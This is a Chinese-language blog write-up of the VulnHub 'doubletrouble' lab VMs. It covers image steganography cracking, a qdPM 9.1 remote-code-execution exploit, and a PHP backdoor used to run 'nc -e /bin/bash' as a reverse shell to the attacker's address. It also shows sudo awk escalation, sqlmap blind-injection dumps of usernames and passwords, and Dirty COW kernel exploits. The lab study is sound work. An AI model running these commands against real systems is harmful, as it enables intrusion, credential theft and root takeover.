一:信息收集
1:主机发现
2:端口扫描
3:敏感目录探测
二:渗透测试
1:敏感目录扫到三个需要重点关注
发现该目录下存在很多敏感文件,其中有一个文件下有邮箱用户名和密码,应该是mysql数据库的用户名和密码
猜测该目录应该是登陆后上传文件存储的地方
访问后是一张图片,该图片可能隐藏有重要信息
qdpm
""
进来没发现什么东西
这个图片应该隐藏了一些信息,可以下载到kali里面
2:wget下载
直接复制粘贴
apt-get update
apt-get install steghide #安装steghide工具
steghide info doubletrouble.jpg #查看图片基本信息
steghide extract -sf doubletrouble.jpg
需要密码但是不知道密码,所以要下载另外一个工具
https://github.com/RickdeJager/stegseek/releases #stegseek下载地址,下载stegseek_0.6-1.deb
apt install /tmp/ruanjian/stegseek_0.6-1.deb #安装stegseek
安装好之后爆破图片隐藏信息
stegseek --crack doubletrouble.jpg /root/rockyou.txt -xf output.txt
gzip -d /usr/share/wordlists/rockyou.txt.gz
--crack 使用文字列表破解文件。这是默认模式。这里的rockyou.txt就是文字列表字典
-xf 将破解出的信息存放到指定的文件里
发现一个账号和密码
otis666
92camaro
3:获取用户shell
方法一:通过上传反弹shell木马获取用户shell
登录进来发现这里可以上传文件
这里用编写的脚本虽然报错但是发现依然可以上传成功
打开nc发现成功拿到shell
可以用python切换shell
python -c 'import pty;pty.spawn("/bin/bash")'
方法二:通过qdPM9.1中间键漏洞获取用户shell
searchsploit -u #更新漏洞库
searchsploit qdpm #查找有关qdpm有关的漏洞
在信息收集中我们发现该网站是基于qdPM9.1框架进行搭建的
kali中自带有漏洞库,通过漏洞库的查找可以找到与qdPM9.1有关的漏洞进行POC测试
searchsploit -m 47954.py
searchsploit -m 50175.py
-m 后面跟需要下载的脚本
可以发现它存在远程代码执行漏洞
查看一下这些脚本如何利用
发现47964.py这个POC是用Python2.7来写的,在执行的时候后面跟url、邮箱地址和密码,分别使用参数-url、-u、-p,邮箱地址和密码应该就是图片中破解出来的信息
既然这样我们直接使用50175.py来进行POC测试,
python3 50175.py -url http://10.4.7.140/ -u [email protected] -p otis666
不过在测试的时候发现总是报错,分析脚本后发现是脚本中很多地方格式不对,需要自己整理
比如说像这种错误,我们直接到第59行去修改
修改成功就会发现一个后门
这个后门的意思就是可以用cmd访问它的任意文件
http://10.4.7.140//uploads/users/?cmd=whoami
开始用nc准备 监听
http://10.4.7.140//uploads/users/731188-backdoor.php?cmd=nc -e /bin/bash 10.4.7.128 6666
发现成功连接,继续用python切换shell
python -c 'import pty;pty.spawn("/bin/bash")'
三:喜闻乐见的提权阶段
1:靶机一渗透
sudo -l
看看有什么东西
这个文件显示可以不用密码操作,对他进行提权
sudo awk 'BEGIN {system("/bin/bash")}'
成功拿到管理员权限
进入root目录又发现一个靶机,不愧是doubletrouble
cp doubletrouble.ova /var/www/html/uploads
将该靶机复制到网站根目录的uploads目录中,然后下载到本地
2:不是那么喜闻乐见的靶机2渗透
主机发现
端口扫描
渗透测试
80端口进入是一个登录界面,弱口令没用
敏感目录扫描
扫出来的文件目录都是没有权限访问的
3:sql注入
sqlmap -u http://10.4.7.140 --batch -forms -dbs
尝试爆破数据库
靶机一的数据库可以看见这个
$P$EIVQ2X7lKrWOMBV.HIP0dcKVf/69Ov.
sqlmap -u "http://10.4.7.146/index.php" --forms --batch
发现存在时间盲注
sqlmap -u "http://10.4.7.146/index.php" -forms
sqlmap -u http://10.4.7.146 --batch -forms -dbs
爆库
爆表
sqlmap -u "http://10.4.7.146/index.php" --forms --batch -D doubletrouble --tables
爆列
sqlmap -u "http://10.4.7.146/index.php" --forms --batch -D doubletrouble -T users --columns
爆字段
sqlmap -u "http://10.4.7.146/index.php" --forms --batch -D doubletrouble -T users -C username,password --dump
获得用户和密码
montreux GfsZxc1
clapton ZubZub99
4:获取用户shell
使用从数据库中获得的这两个用户名和密码进行80端口登陆和22端口ssh登陆尝试
80端口:两个用户都无法登陆
22端口:montreux用户不能进行ssh远程登录,但clapton用户可以
登陆clapton用户,成功获取到clapton用户的shell
5:提权
1:sudo -l
发现该用户不具有sudo权限
2:查看系统内核
uname -a
3:发现系统的内核版本是linux3.2,该系统版本具有一个很明显的漏洞--脏牛漏洞
去漏洞库里把它下载下来
searchsploit linux 3.2
searchsploit -m 40616.c
4. 使用nc传输,将40616.c传输到clapton系统中
4.1 在clapton的shell中启动nc接收
nc -lvnp 10086 > 40616.c
4.2 在kali中使用nc上传40616.c
nc 10.4.7.146 10086 < 40616.c -w 1
传输完成,顺便找到一个flag
6CEA7A737C7C651F6DA7669109B5FB52
发现40616.c还没有执行权限,先给它赋予执行权限,然后再使用gcc生成可执行程序
先给文件赋权
chmod 755 40616.c
gcc 40616.c -o 40616 -pthread
./40616成功提权
进入root获得第二个flag
1B8EEA89EA92CECB931E3CC25AA8DE21
$P$EIVQ2X7LKrWOMBV.HIPOdcKVf/690v.
5:脏牛提权
在本地创建一个dirty.c文件,将代码复制进去
这里使用打开80端口进行wget下载
python3 -m http.server 80
wget http://10.4.7.128/dirty.c
赋予权限
chmod 777 dirty.c
gcc连接,然后执行POC,需要注意的是,这里在执行POC后面可以接密码,即重新创建一个用户firefart,该用户具有管理员权限
此外,gcc连接需要使用如下命令
gcc -pthread dirty.c -o dirty -lcrypt
执行
./dirty
后面接密码root
su firefart
再次成功拿到管理员权限
标签:shell,http,10.4,40616,--,doubletrouble,vulnhub,靶机 From: https://www.cnblogs.com/woaishuaidan/p/18038436